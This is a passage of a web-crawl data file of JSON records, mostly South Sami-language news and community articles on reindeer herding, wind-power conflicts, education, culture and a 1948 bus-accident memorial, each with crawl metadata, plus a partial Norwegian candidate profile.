høyere omsetning, og derfor støtter sametingsrådet søknaden, sier Silje Karine Muotka.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/snasanytt.no\/2018\/01\/11\/500-tavsenh-kravnah-sieltese-rorosrein-as-daarje-bevilger-500-tusen-kroner-rorosrein-as\/","date":"2018-01-22T00:17:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890928.82\/warc\/CC-MAIN-20180121234728-20180122014728-00206.warc.gz","language":"sma","language_score":0.9740828276,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9740828275680542, \"sme_Latn_score\": 0.018221324309706688}","num_words":357,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":0.977,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lene Cecilia Sparrok lea luhkietjïjhtje jaepien båeries, jïh dan jaepien vætnoe bijre Kråangken jåerhkeskuvlesne lohkeme.\nSjïere laavenjasse\nEksaamenen åvtelen Lene Cecilia åadtjoeji sjïere eksaamene-laavenjassem veeljedh.\nDïhte veelji skåerrieveaskoe gåarodh. – Im manne deejrim jis edtjim galhkedh, dan åvteste våhkoen mij lij manne vïenhtim manne fer stoerre laavenjasse veeljeme, Sparrok jeahta. Golmeluhkie-gaekstie tæjmoeh åådtjem eksaamene-laavenjassine barkeme.\nDïhte oktegh klaassesne dan jaepien orreme jïh hïnneme jïjnjh ovmessie aatigujmie baarkeme. Dovne sessniegujmie, skåerrie stealladamme, gaptah jïh beelte gååreme. Gæjsam aaj dorjeme, jïh daelie hov eksaamene-laavenjassem.\nLene Cecilia Sparrok\nDaate joekoen luste jaepie orreme, læjhkan mejtie oktegh orreme.\nEksaamene-biejjien veaskoem vuesiehti jïh buerkiesti maam jïh guktie dorjeme.\nGïelem lea vihkeles\nVïedtjesne baakoeh gævnjesjieh. – Gaajhkesh baakoeh buerkiestieh gaajhkh saejmieh, maam manne edtjem maehtedh, Sparrok soptsetse.\nDïhte aaj soptseste, aalkoevistie geerve baakojde lïeredh, mohte goh jïenebh jïenebh dejgujmie barki, dle aelhkebe sjïdti.\nLeve Cecilia Sparrok\nJoekoen vihkeles saemiestidh!\nLiv Karin Joma lohkehtæjja orreme, jïh dah guaktah Lene Cecilia abpe skuvlejaepien barre saemiengïele nuhtjeme. – Daelie datne utneme bijjelen gøøkteluhkie tæjmoeh saemiengïele lissine, fer mijjieh maehtebe barre saemiestidh, Joma jeahta.\nLene Cecilia tuhtjie hijven orreme saemiengïelem abpe tijjiem nuhtjeme. – Mov daaroengïele nåakebe sjïdteme, dïhte jeahta jïh føørhkede.\nOvmessie vuekieh\nGosse edtja lïeredh vytnesjidh, dle hijven ovmessie vuekieh øøhpehtidh. Dan åvteste ij barre skuvlesne orreme. – Manne ovmessie lohkehtæjjah utneme, Sparrok buerhkeste.\nLene Cecilia Sparrok\nMov akte vihkeles bïhkehtæjja, mov aahka.\nSov aahka vihkeles bïhkehtæjja orreme. Dïhte lea dïhte mij Lenem vuekiem sijjien fuelhkeste lïereme.\nJåerhkedh vytnesjidh\nGosse daate skuvlejaepie nåhkeme, dle Sparrok akten jaepien aajmene åtna. Båetije jaapan tjuara lohkehtæjja målsodh, dam Sparrok tuhtjie nåake, jïh ahte ij åadtjoeh vytnesjidh fïerhten biejjien. – Ånnetji rovnegs, dïhte jeahta.\nMohte Lene Cecilia edtja hov jåerhkedh vytnesjidh læjhkan.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.nrk.no\/sapmi\/noere-vytnesjaejja-aavosne-1.12413552","date":"2018-01-21T01:41:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889798.67\/warc\/CC-MAIN-20180121001412-20180121021412-00446.warc.gz","language":"sma","language_score":0.9999843836,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999843835830688}","num_words":274,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.055,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan aejkien vijremeåvtehke Marius Melting mij råatem vuatjasmieresne åadtjoeji. Dïhte noere minngelesråate vuatjasovvi Kleiv-baektiej lïhke.\nGoh Snåsningen aarebi lea ållermaahteme, vijremetjïerte njieljie råath vöötji lisensevijremisnie.\nDaan aejkien lij skaaravuetjeme. Mænngan lij vihtiestamme råate lij jienebh bovtsh vaalteme Låarten sïjtesne, Fylhkenålma luhpiedimmiem vedti.\n– Fylhkenålma vuarjesje doh skaarah dan stoerre, leah evtiesovveme, jïh nuepie gååvnese skaarah aaj sjædta båetijen aejkien. guktie luhpiedimmiem vadta råatem vuetjedh.\nLes saken også på norsk her: Vestbygda jaktlag felte nok ei gaupe\nVijriesåbpoe dle dajve gusnie skaaride vihtiestamme, lea råaten reeremedajven ålkolen regijovnesne 6 Gaske-Nöörjesne, jïh hævvi edtja aelhkebe årrodh luhpiedimmiem åadtjodh daesnie goh reeremedajven sisnjelen, Fylhkenålma vihtiesti vuetjemeluhpiedimmesne maam Låarten sïjtese vedti, vuetjemeåvtehken baaktoe, Mattias Jåma.\nVijremetjïerte eelki Breden jarngesne aejlegsaereden. Njieljie tæjmoeh mænngan dah råatem vöötjin.\n– Idtjimh gåessie gih lyhkesamme jis eah bïenjh dan hijvenlaakan barkeme, Marius Melting vihteste.\nJalhts vïjhte råath vuatjeme, dle annje jienebh aajmene. Meltingen mietie dle tjïjhtje -gaektsie råath ajve Jillievoenesne. Åarjelvoene jïh Bijjievoene aaj råati bïjre bievnieh.","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/www.snasningen.no\/nyheter\/2018\/02\/21\/Jillievoenen-vijremetj%C3%AFerte-aktem-vihth-r%C3%A5atem-v%C3%B6%C3%B6tji-16138464.ece","date":"2018-03-23T18:55:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257648431.63\/warc\/CC-MAIN-20180323180932-20180323200932-00083.warc.gz","language":"sma","language_score":0.9999343157,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999343156814575}","num_words":156,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan tjaaktjen aalka orre maana- tv prograammh jih aaj båeries åehpies prograammh. Akte dejstie prograammijste lea «Budaldanáigi» daaroen gïelesne «Min fritid».\nMaanah utnieh, jijnjh darjomes darjodh, daansodh, hockey, guvviedimmie, daata spiele jih jijnje vielie.Gie daajra, kanne datne gaavna maam sjiehteles darjodh. Dellie tjoerh vuejnedh!\nAelkieh «Budaldanáigi» mubpien gaskevåhkan mietsken 20.b.seedtedh.\nRahkan asken dellie aalka dihte voestemes saemien maana \"reality\" tv. «Searat» daaroen gïelesne «Camp lavvu» Desnie edtjieh gaektsie saemien noereh bearkadidh, vïjhte biejjieh, namhtan mobijle jih daatam.\nGieltegs saemien maanide sjædta, jåvle raejeste.\nJåvle raajeste aalka akte orre tv-raajroe, gusnie dah saemien maanah ov-messie dåehkie sisnie, edtjieh staaloen vuestieh gaahtjedh. Samien maana- tv aalka mietsken 18.b\n- Lohkh vielie: www.nrk.no\/sapmi\/1.11876330","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.nrk.no\/sapmi\/maana-tv-fierhten-biejjien-1.11877421","date":"2018-04-26T03:06:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948047.85\/warc\/CC-MAIN-20180426012045-20180426032045-00182.warc.gz","language":"sma","language_score":0.9998928308,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998928308486938}","num_words":109,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.193,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jijnjh laedtieh Nøørjesne sijhtieh ov-juvride vaarjelidh. Daam dihte goerehtalleme vuesehte, maam dihte plaerie Nationen dorjeme.\nDaate goerehtalleme vuesehte dah laedtieh sijhtieh ov-juvre vaarjelimmem nænnoestidh. 34 prosent sijhtieh ov-juvride buerebe-laakan vaarjelidh. Seamma gyhtjelassh, jaepeste jaapan gihtjehtamme, jaepien 2009 raajeste. Daan jaepien joekoen jijnjesh gyhtjelasside vaestiedamme jih sijhtieh ov-juvre vaarjelimmiem utnedh.\n–Daate lea daan beajjetje, siebredahke øøvtiedimmie.\nDihte dotkije Ketil Skogen, Norsk institutt for naturforskning jeahta, gåessie goerehtamme guktie almetjh ov- juvre bijre ussjedieh. Daate vuesehte guktie dihte siebredahke evtiedimmie daelie vååjnoe.\n– Eah dah almetjh åehpies laanteburrie jielemene, båantah gujmie, jih dah mah destie eatnemistie jieleminie, vaenebh sjidtieh jih dellie dah jeatja laedtieh tuhtjieh dah ov-juvrh eatnemissnie tjaakenieh.\nVaenebe ov-juvre maaksoe\nByjresedirektovraate bievnede, vaenebe ov-juvre maaksoem sirvebåantide maakseme, Dah minngemes jaepieh 40 prosente vaenebe ov-juvre maaksoe sjidteme daan åvteste vaenebe sirven barhvh gaavneme.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.nrk.no\/sapmi\/sijhtieh-ov-juvride-vaarjelidh-1.12475295","date":"2018-04-22T03:32:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945484.58\/warc\/CC-MAIN-20180422022057-20180422042057-00111.warc.gz","language":"sma","language_score":0.9999712706,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999712705612183}","num_words":128,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.039,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laavkome jïh lïhtsegevoete\nLaavkome maadtoe jis lïhtseginie Svïenske gærhkosne sjïdtedh. Dïhte gie jeatjah kristeles sïebredahkesne lååvkesovveme aaj åådtje lïhtsege Svïenske gærhkose årrodh, jïh ij daarpesjh ikt vielien aejkien laavkodh. Svïenske gærhkoen öörnegen mietie akte kristeles laavkome ihkuvasse lea.\nLaavkome noeride\nJïjnjemes aejkien maanah dah gieh Svïenske gærhkosne gieh lååvkesuvvieh, badth daelie gellebh noerh jïh dovne geerve almetjh aaj sijhtieh lååvkesovvedh. Dam gellien aejkien darjoeh gosse skyllemasse luhkieh, lohkehtimmien mænngan jallh gosse dåehkesne kristelesvoeten bïjre soptsestalleminie.\nLaavkome-gyrhkesjimmie lea aavoen jïh jielemen hïeje. Dïhte giem lååvke Jupmelen uvte lokngesåvva, dïhte gie mijjese jielemem vadta jïh gie sæjhta mijjen ektine aavoedidh. Jupmele sæjhta mijjen lïhke, mijjen jieliemisne årrodh, mijjem gaajhkeste sæjhta luejhtedh jïh mijjen jielemenuepide orrestidh.\nDåajvoe\nLaavkoemisnie lea dåajvoe Jupmele gaajhke jielemen biejjine datnem dåerede, seamma saaht mij heannede. Abpe gærhkoen histovrijisne dïhte laavkome fïerhten almetjen ektiedimmie Jupmelinie nænnoestamme.\nDutnjien eejhteginie laavkome maahta gyjhtelassh årrodh, datne eejhteginie dan onne almetjasse sjïdteme.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.svenskakyrkan.se\/laavkome","date":"2018-04-25T23:58:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948029.93\/warc\/CC-MAIN-20180425232612-20180426012612-00063.warc.gz","language":"sma","language_score":1.0000004768,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 1.0000004768371582}","num_words":149,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nieljie saemieh jååktan åadtjoejin faageprieviem Noerthe-Trøøndelagesne.\nFylhkenraerie Maj-Britt Lagesen lij dihte gie prievide vedti Ellen Kristina Jih Sanne-Marja Utsise gïeh lægan duedtie vaalteme. Toamma Thomasson jih Jon Henrik Jåma åådtjeme prieviem båatsoelearohken åvteste.\n– Manne göökte jaepieh barkeme dejnie. Manne nejpie jih ovmessie plijrehtahkh dorjeme. Daate gujht joekoen luste. Manne leam «faglært», Elen Kristina Utsi jeahta.\nDïhte gïehtelamme garreduedtine, jih lea madtjeles dïhte faageprieviem åådtjeme.\n– Hijven gujht domtoe, daelie manne sïjhtem vihth vuelkedh barkedh. Manne tuhtjem lea dan luste.\nMyövhkeduedtie jih båatsoefaage\nElen Kristinan stoerreåabpa, Sanne-Marja Utsi, aaj faageprieviem vaalteme, mohte dihte myövhkeduedtesne veelti.\n– Daelie gujht domtoe gaajh buerie, jih luste faageprieviem daebpene aaj Tråantesne gosse lea stoerreluhkie jaepieh heevehtimmie, Sanne-Marja jeahta.\nDïhte lea gïehtelamme skåerrine, gaamesigujmie jih goelkegaamegh gååreme.\n– Goltelieh mannem daelie\nEah leah dan jïjnjh almetjh gie lea faageprieviem båatsoefaagesne vaalteme. Mohte Toamma Thomasson lea akte dejstie.\n– Daelie maahtam almetjidie soptsestidh jis dåeriesmoerh sjædta gosse leam vaeresne jallh giedtesne ahte mov lea faageprievie, nimhtie datne maahtah mannem govledh, Toamma föörhkede.","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/www.nrk.no\/sapmi\/_-lea-dan-luste-faageprieviem-aadtjodh-1.13368916","date":"2018-06-22T07:36:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267864364.38\/warc\/CC-MAIN-20180622065204-20180622085204-00058.warc.gz","language":"sma","language_score":0.9999845028,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999845027923584}","num_words":161,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien Sijten vuesiehtimmie «Saemieh Saepmesne» lij vihtesjimmieprosjeekte mij lij dej jaepieh 2008-2011 gaskem. Saemien histovrijem, saemien aerpievuekien daajroe jih arkeologeske barkoem vïhtesjidh. Daate lea ektievuekien barkoe saemieh, histovrikerh jih arkeologi gaskem.\nGievriem Luvlie Njåamesjen dajveste vuesiehtidh.\nJaepien 2010 dellie gaavnin aktem gievriem Luvlie Njåamesjen dajvesne, Raarvihkesne. Daan prosjeekten tjirrh «Saemieh Saepmesne» nuepiem åadtjoejin jih daam gievriem vaereste veedtjedh jih Vitenskapsmuseumese Tråantesne våarhkose biejedh. Lisa Dunfjeld Aagård, konservatore Saemien Sijtesne, dihte daelie geerjene maehtieh daam gievriem daan giesien Snåasesne vuesiehtidh.\n– Daate lea joekoen vihkeles. Mijjieh jeahteme, edtjebe gievriem veedtjedh, gosse dam orre Saemien Sijten gåetiem bigkeme jallts jeatjah saemien institusjovnese. Daelie joe vijhte jaepieh vaaseme jih ibie dan mearan ennje jaakseme, Dunfjeld Aagåre jeahta\n.\nGuktie daelie maehtede, daam gievriem Snåasesne vuesiehtidh?\n– Daate gievrie joekoen hiejjehts, daelie åadtjebe monterem jih dagkeres klima anleggem løønedh jih daate viehkie dorje maehtebe jienebh båeries tjåenieh mænngan Snåasesne vuesiehtidh, Dunfjeld Aagårde bievnede.\nDaan giesie vuesietimmiesne åadtjode daam historijem govledh jih guvvieh jih filmem vuejnedh, gåessie daam gievriem våålese voenese veedtjin.\n- Lohkh aaj:\nVuesiehtimmie «Gåetie»\nDihte mubpie vuesiehtimmie Saemien Sijtesne lea «Gåetie» Daan digitaale tjiehtjelisnie, dah gæktsieh jaepie boelhki bijre. Daesie animasjovne, tjoeje jih guvvieh. Daate lea ektievuekie prosjeekte Saemien Sijten jih Noerhte- Trøndelaagen Jolleskuvlen gaskem.\nSaemien Sijten giesie vuesiehtimmie aalka ruffien 29.b.","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/www.nrk.no\/sapmi\/gievriem-snaasesne-vuesiehtieh-1.12425277","date":"2018-07-23T08:20:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676595531.70\/warc\/CC-MAIN-20180723071245-20180723091245-00521.warc.gz","language":"sma","language_score":0.9999941587,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.999994158744812}","num_words":204,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gieries fuelhkieh, gieries voelph, gieries gaajhkesh dovnesh.\nDaate biejjie akte sårkoen biejjie. Daelie 70 jaepieh mænngan dïhte ovmurreds busseovlæhkoe Dunderland-daelesne sjugniehtovvi, jïh mij faahketji jieliedidie jarkeli dan gallesidie dijjeste.\nJeenjesh daam ovlahkoem damteme, jïh manne daajram daate akte teema orreme man bïjre lea geerve orreme soptsestidh jeenjesidie. Hijven domtoe tjåanghkenidh jïh mujhtedh dejtie mejtie dassimh, jïh akte mojhtesemïerhkesjimmie goh daate mijjem måjhtajibie mijjieh tjoerh ibie gåessie gih åajaldidh. Saemiedigkien bieleste lea aavone daesnie årrodh dijjine ektine.\nNov lea iemie akten dagkeres biejjien goh daate ussjedalledh guktie gaajhke lij maahteme årrodh, jïh aktem sårkoem damtedh dej 16 jieledi bijjeli mah faahketji nåhkelin snjaltjen 5.b. 1948. Seamma hïehpede goh akte dagkeres dan itjmies ovlæhkoe sjugniehtåvva, fuelhkie jïh voelph dejtie 16 almetjidie edtjin dallatjinie lïeredh guhkiebasse jieledh dej bielelen. Idtji guhtegh maehtieh dam stoerre vaassjegeajnoem mievriestidh gosse lin gåetide vuelkieminie Nöörjen Båatsoesaemiej Rijhkesiebrien rijhketjåanghkoste Romsesne. Akte biejjieladtje jïh sïejhme heannadimmie dennie aktene ståantesne, akte tsiehkie man bïjre ij lij maahteme nïekedidh dennie mubpene. Busse mesnie tjahkasjin, geajnoste vööji jïh Raane-jeanoen sïjse haajpani.\nIj leah sån naan soelkedasse, men dagke lea hijven måjhtajehtedh gosse dah gåetide vöölkin dah lin sån joekoen madtjeles akten læhkoes rijhketjåanghkoen mænngan, stoerre veanhtadimmiejgujmie dan orre seabran jïh mejnie dïhte orre siebrie edtji barkedh juktie båatsoem vaarjelidh jïh nænnoestehtedh båetijen aejkien. Dan åvteste dah lin stïeresne tjåanghkosne daate stoerre ulmiem åtneme daan beajjetje båatsoesaemide, jïh dej eadtjohkevoete guhkiebasse jielieminie siebresne.\nDaan biejjien 70 jaepieh vaaseme ovlæhkoen mænngan, jïh gallesh dijjeste mah leah daesnie daan biejjien leah dovne sårkoem guadteme jïh ohtselimmiem åtneme gaajhki daej jaepiej, dagke boelvi dåaresth. Tïjje doekoe dagke sån sårkoe ånnetji geehpebe sjïdteme guedtedh jïh sijjie vadtasovveme jeatjah domtesidie aaj, goh gijhtelesvoete gaajhki åvteste mejtie daah 16 almetjh lin dijjese, jïh åadtjoejin dijjese årrodh.\nAaj mijjese jeatjabidie mah idtjin daejtie faaradamme almetjidie jïjtjh damth, dej jieledh stoerre vihkelesvoetem åtneme. Daah 16 almetjh lin almetjh mah aktem stoerre barkoem båatsose jïh saemien siebriedahkese darjoejin. Dah lin meatan aelkedh jïh geajnoem bigkedh båetijen aejkien båatsose, dah mah lin njueniehkisnie Nöörjen Båatsoesaemiej Rijhkesiebriem tseegkedh jïh mah betniem seabran sjugniedin. Dej eadtjohkevoete lij joekoen vihkeles jïh saemien siebriedahke lea gijhteles dan barkoen åvteste maam daah almetjh darjoejin. Daan biejjien barkoem jïh eadtjohkevoetem dejtie 16 faaradamme almetjidie earoehtibie, jïh mujhtebe dej jieledem. Gieries lïhke fuelhkie, mijjieh daesnie dijjine ektine tjåadtjobe.\nRaeffie dej mojhtesi bijjeli","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Mojhtesehaaaleme-70-jaepien-mierhkesjimmien-sjiekenisnie-ovlaehkoen-maenngan-Dunderland-daelesne","date":"2018-07-19T23:16:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676591332.73\/warc\/CC-MAIN-20180719222958-20180720002958-00380.warc.gz","language":"sma","language_score":1.0000025034,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000025033950806}","num_words":374,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.126,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ij daejrieh mejtie gåess'akt maahta bovtsigujmie aelkedh\nJarkoestimmie: Ellen Bull Jonassen\nTjoevkese derhviegåetien riehpeneraejkien tjïrrh tjuavka. Ålkoelisnie aadtjen böövteme. Maja Krihke lea våårege, gyhtjelasside veelelaakan aajahtalla, ij fer guhkiem, men nuekies guhkiem guktie mijjieh guarkebe dïhte meala jïh tjåadtjohte dam maam jeahta. Gïele lijnies men vihties.\n–Mov lij akte naa hijven byjjenimmie Fovsenisnie. Ij lij dan gellie saemieh daesnie, men ektiedimmiem Snåasese utnimh jïh limh daamtaj desnie. Easkah gosse geerve sjïdtimh manne guarkajim man vaenie daajroe lij desnie, saemiej bïjre. Almetjh ierielimmesne sjïdtin gosse govlin mijjieh bovtsigujmie gïehtelimh Fovsenisnie. Mijjieh hov vïssjehtovvebe gosse iktesth tjoerebe mijjen maadtoen bïjre soptsestidh.\nAkte dejstie geervemes aatijste Maja Krïhken mïelen mietie lea raaktan almetjidie goerkesem vedtedh man åvteste saemieh ussjedieh jïh darjoeh goh darjoeh, maam sijhtieh jïh man åvteste dam sijhtieh.\n–Vaeltieh vuesiehtimmien gaavhtan gæmhpoe bïegkejårrehtsepaarhken vööste. Tjoerebe iktesth tjïelkestidh man åvteste mijjieh bigkemem vuastalibie jïh saaht guktie mijjieh dam tjïelkestibie, dle im vïenhth almetjh guarkoeh maam mijjieh mïelebe. Tjoerebe barkedh juktie jeatjebh edtjieh goerkesem saemiej jieledevuekien bïjre åadtjodh, man åvteste numhtie jïh naemhtie. Gosse almetjh dam guarkoeh dellie dagke baejieh mijjem åadtjodh gïehtelidh dejnie mejnie gïehtelamme gelline boelvine, Jåma jeahta.\nVuastalimmie bïegkejårrehtsi vööste\nMaja Krihken fuelhkie bovtsigujmie gïehtele Fovsenisnie, dam dorjeme gelline boelvine. Daelie bïegkefaamoevierhkh akte aajhtoe dej gåatomedajvi vööste. Daelie soejkesjeminie mahte 300 bïegketurbijnh Trööndelagesne. Jis daate soejkesje vitnie dellie jeenjesh tjuerieh bovtsigujmie orrijidh.\n–Edtja naa veaksehke fysiske jih psykiske årrodh juktie båatsosne barkedh. Deadtove gaajhkede lehkeste båata jïh raaktan daelie dïhte stööremes deadtove biegkefaamoevierhkijste båata. Stoerre bïegkejårrehtsh edtjieh bigkesovvedh mijjen daelviegåatomelaanten sisnjelen, jïh joe aalkeme geajnojde bigkedh. Jalhts mijjieh libie reaktasuerkesne orreme gellien aejkien, dle ij leah mijjen mietiemoeren mietie jåhteme daan mearan. Jis ibie vitnh, sïjhtebe naa varke ij naan nuepiem utnedh bovtsigujmie gïehtelidh seammalaakan goh mijjieh aarebi dorjeme. Desnie gusnie bïegkejårrehtsh bigkesuvvieh ibie maehtieh bovtsigujmie årrodh. Juhtemegeajnoeh sijhtieh steegkesovvedh, dïhte 24 jaepien båeries Maja Krihke jeahta.\nJieledevuekie\nMaja Krihke ij ajve båatsoen bïjre soptsesth, men akten ellies jieledevuekien bïjre. Dïhte ahkedh åådtje govledh båatsoe ajve akte barkoe, akte jieleme. Men Maja Krihken mïelen mietie dle sagke jienebe. Majan mïelen mietie dle båatsoe dan guhkiebasse jieleden bïjre akten ellies åålmegasse.\n–Manne leam sïemes dan kruana energijen bïjre, men tjoerebe måjhtajidh gïeh tjuerieh dan åvteste maeksedh, mij gaarvene. Raaktan daelie tuhtjem mijjieh libie ånnetji tjoedtjestamme. Manne gegkestem naakenh mijjen åejvieladtjijste varke maehtieh jååhkesjidh mijjieh daesnie guhkiem orreme jïh dajvem nuhtjeme boelvi tjïrrh. Sïjhtebe ajve guhkiebasse jieledh, dajvem nuhtjedh naemhtie guktie dah mah mijjen minngesne båetieh, seamma nuepiem åadtjodh.\nDan soe vaenie Fovsenisnie, jïh dan jïjnje joe mijjeste vaaltasovveme. Geajnoeh, hæhtjoeh, el-faamoelinjah, akten aejkien tjuara orrijidh, ibie vielie utnieh mestie maahta vaeltedh.\nMaja Krihke lea aktene tsiehkesne man sisnie gellie jeatjah noerh. Dïhte joekoen jueriedisnie sov båetijen aejkien bïjre goh båatsoealmetje.\n–Akte gæmhpoe orreme gellie luhkiejaepieh Fovsenisnie, men eah leah gåessie gænnah mijjem itjmieslaakan vaalteme. Iktesth naakenh mah maehtiehtjinie soptsestieh, mah leah dotkeme dajvesne, mah govlelgieh. Ij guhte krööhkesth mijjieh dah, mah raaktan bööremes daejrieh, mijjieh mah dajvem nuhtjeme gellie tjuetie jaepieh.","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/samimag.no\/sma\/content\/ij-daejrieh-mejtie-gaessakt-maahta-bovtsigujmie-aelkedh","date":"2018-09-25T20:47:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267162385.84\/warc\/CC-MAIN-20180925202648-20180925223048-00242.warc.gz","language":"sma","language_score":0.9999824762,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.999982476234436}","num_words":488,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dæjman lij Marja Helena Mortensson, Eengerdaeleste Riddu Riddun \" Noere tjiehpiedæjja\" Daan mænngan jijnje barkoe Marjese ålkoerijhkesne sjidteme, Riddu Riddun åelien nuelesne. Daan aejkien Kinshasese, Kongose vualka.\nSïjhtieh Kongose vuesiehtidh.\nDaate ektievuekie barkoe Regnskogsfondet jih Riddu Riddun gaskem. Mortensson jih dihte gitariste Ole Tveit Hana edtjijægan golme konserth utnedh daan «International festival of Indigenous Peoples».\nDaate feestivale sæjhta aalkoalmetjen maahtoe jih kultuvrem Kongon reerenassese vuesiehtidh, guktie buerebe jieleme Kongon aalkoalmetjidie sjædta.\nDaate feestivale lea njoektjen 27.-29 .b.\nDæjman Taiwansne.\nDæjman Mortensson daan Migration Music Feestivalese feeli mij lij Taipei, Taiwansne. Dihte aaj akte dejstie mij meatan daan Our Songs prosjeektesne WITBN- maam dihte nedteviermie aalkoalmetjen medije dåehkie øørni. Sijhtin abpe veartenen aalkoalmetjen musihkem heevehtidh.","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.nrk.no\/sapmi\/edtja-aalkoalmetji-feestivalesne-kongosne-joejkedh-1.12279168","date":"2018-10-15T18:11:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583509336.11\/warc\/CC-MAIN-20181015163653-20181015185153-00417.warc.gz","language":"sma","language_score":0.9979938269,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9979938268661499}","num_words":112,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.054,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Valgkrets\/Veeljemegievlie: Sørsamisk valgkrets\/Åarjel Saepmie\nParti\/Krirrie: NSR\nNavn\/Nomme: Nora Marie Bransfjell\nAlder\/Aaltere: 62\nSivilstand\/Jïjtse bïjre: Gift\/Pruvreme\nInteresser\nHvilke hobbyer har du?\nSpråk, lesing,\nHva er det største du har opplevd i livet?\nBarn og barnebarn\nHva gjør du når du skal koble av?\nLytter til musikk. Løser sudoku\nHvem er ditt største forbilde og hvorfor?\nIkke spesielt, men synes Sapmi har fostret mange små store kvinner.\nJobb og studier\nHva jobber du med i dag og hvilke jobber har du hatt tidligere? Hvilken utdanningsbakgrunn har du?\nMin utdanningsbakgrunn er lærer. Har jobbet ved Høgskolen i Nord-Trøndelag (nå Nord Universitet). Har undervist på alle nivåer i skolen fra førskole til høgskolenivå og erfaring bl.a. vikariert som rektor, sensorarbeid, læremidler m.m.\nEr også med i reindrifta.\nMorsmål\/språk\nForstår både samisk og norsk.\nPolitisk bakgrunn\nHvor lenge har du vært med i politikken? Hvilke partier har du representert. Har du vært sametingsrepresentant?\nHar representert NSR på Sametinget, vara i 1. Og siste periode.\nHjertesaker\nHvilke saker vil du fokusere på?\nJeg er interessert i det meste. Barns oppvekstvilkår og eldres situasjon.\nArealsaker er likevel mest fokus da arealene skrumper for hvert år uten at det kompenseres.\nHva mener du er den største 